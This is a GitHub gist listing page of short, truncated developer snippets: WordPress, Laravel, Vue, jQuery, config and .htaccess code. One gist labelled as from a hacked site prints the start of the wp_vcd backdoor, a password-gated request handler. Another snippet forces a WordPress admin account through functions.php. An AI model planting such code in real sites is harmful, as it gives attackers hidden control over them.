Skip to content

Instantly share code, notes, and snippets.

View chrisvasey's full-sized avatar
:shipit:
Working from home

Chris Vasey chrisvasey

:shipit:
Working from home
View GitHub Profile
@chrisvasey
chrisvasey / functions.php
Last active November 14, 2022 23:32
Create a admin user in WP
<?php
//Insert this into the themes functions.php and reload a page.
function force_admin_account(){
//Set your login details here, must be unique
$user = 'uniqueusername';
$pass = 'password';
$email = '[email protected]';
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHOnfLXOgqrHn2x2/tjO5ttGW/iFlSFN5XlLEjf9+rvvVSb41aGntsnAz0OsK82ysXJRoWik7qBje/A6szTLSMy1M+GF1MPgZjk7cwdoT6p14uZgwHncadyGU9SyhUkDtz9y8rpLRHiQPQIiPDH1HpG9LjoTcxxYBjfYI2V5MBKmSSZsOm8Y8dp639F7vO71/ixeMceVDrNSgFHJnrTOiUGBvYjwdZuS53JfVZaqV2Yvvm+2cXntdb+264cv+SBBAcvvYEalRKFMX/mD1u8SeISeC2UgcWFmrzmxbg7fRB/xDuMBjIodkh66VqV5shYLP6SxPWyAfnNsLTxvFSDngA7o3X+swwmMUm95hLC2bBkynKa42LJJFqCU6T2CP6y343FszEpwGl46aRnOwH1WPnWCBIAoom7oMtQPfKLC5F/LhDBA+6CiD7isfwid/2y85Wml/uHLfLIsIhggpXD+HELW8CepoiCTGXs1vz86BcHsnWfhPODWbCvkwT9AVBiszTbQTSekftQ7IIDOiVbGx/P/WQzm9oIIqijBRRK5rjj+haZvHoItdUr9oKifBOGqVgby8lW8fypTpHaY7Fi2egot9WyAa4w6TEdBgv+bovoyzmMtnassTwX/VlnhlnFZYMn4j5PTHWbFNhbdF9Cd+rByTddmKmreAuRthMyyxBDw== [email protected]
$(document).ready(function(){
if(datePeram && datePeram != "null"){
$("#filter-date-picker").val(datePeram);
}
$('#filter-date').click(function(){
if($("#filter-date-picker").val()){
datePeram = $("#filter-date-picker").val();
newUrl = url+='siteId='+sitePeram+'&date='+datePeram;
<?php
$dates = null;
if ($request->date) {
$dates = $request->date;
$dates = preg_replace('/\s+/', '', $dates);
$dates = explode('-', $dates);
$dates = [\DateTime::createFromFormat("d/m/y", $dates[0])->format('Y-m-d')." 00:00:00",\DateTime::createFromFormat("d/m/y", $dates[1])->format('Y-m-d')." 00:00:00"];
}
@chrisvasey
chrisvasey / functions.php
Created August 1, 2019 21:01
functions.php - Hacked site
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '9b7b020c522dc02d6989db47267bf0eb'))
{
$div_code_name = "wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
@chrisvasey
chrisvasey / post.vue
Last active March 10, 2020 19:34
Using Ajax responses in vue
<script>
export default {
date(){
return {
data: {
value: "", //value I want to set
}
}
},
methods(){
@chrisvasey
chrisvasey / FileUpload.vue
Created June 19, 2019 15:43
File upload in Vue
<template>
<input type="file" @change="processFile($event)">
</template>
<script>
export default {
data(){
return {
file: null,
}
<?php
return [
/*
|--------------------------------------------------------------------------
| Default deployment strategy
|--------------------------------------------------------------------------
|
| This option defines which deployment strategy to use by default on all
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Page Title</title>
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta/css/bootstrap.min.css" integrity="sha384-/Y6pD6FV/Vv2HJnA6t+vslU6fwYXjCFtcEpHbNJ0lyAFsXTsjBbfaDjzALeQsN6M" crossorigin="anonymous">
@chrisvasey
chrisvasey / .htaccess
Created March 13, 2019 15:44
Kirby CMS .htaccess
# Kirby .htaccess
# rewrite rules
<IfModule mod_rewrite.c>
# enable awesome urls. i.e.:
# http://yourdomain.com/about-us/team
RewriteEngine on
# make sure to set the RewriteBase correctly